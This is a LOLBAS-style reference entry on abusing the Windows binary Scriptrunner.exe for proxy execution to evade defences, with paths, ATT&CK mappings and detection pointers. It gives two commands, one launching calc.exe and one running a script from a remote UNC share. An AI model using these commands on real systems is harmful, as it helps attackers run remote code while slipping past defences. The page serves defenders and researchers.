





/Scriptrunner.exe

☆ Star

7,060

Execute

Execute binary through proxy binary to evade defensive counter measures

Paths:

C:\Windows\System32\scriptrunner.exe
C:\Windows\SysWOW64\scriptrunner.exe

Resources:

- <https://twitter.com/KyleHanslovan/status/914800377580503040>
- <https://twitter.com/NickTyrer/status/914234924655312896>
- <https://github.com/MooKitty/Code-Execution>

Acknowledgements:

- Nick Tyrer ([@nicktyrer](#))

Detections:

- Sigma: [proc_creation_win_servu_susp_child_process.yml](#)
- IOC: Scriptrunner.exe should not be in use unless App-v is deployed

Execute

- Executes calc.exe

```
Scriptrunner.exe -appvscript calc.exe
```

Use case: Execute binary through proxy binary to evade defensive counter measures
Privileges required: User
Operating systems: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
ATT&CK® technique: [T1202: Indirect Command Execution](#)

- Executes calc.cmd from remote server

```
ScriptRunner.exe -appvscript "\\fileserver\calc.cmd"
```

Use case: Execute binary through proxy binary from external server to evade defensive counter measures
Privileges required: User
Operating systems: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
ATT&CK® technique: [T1218: System Binary Proxy Execution](#)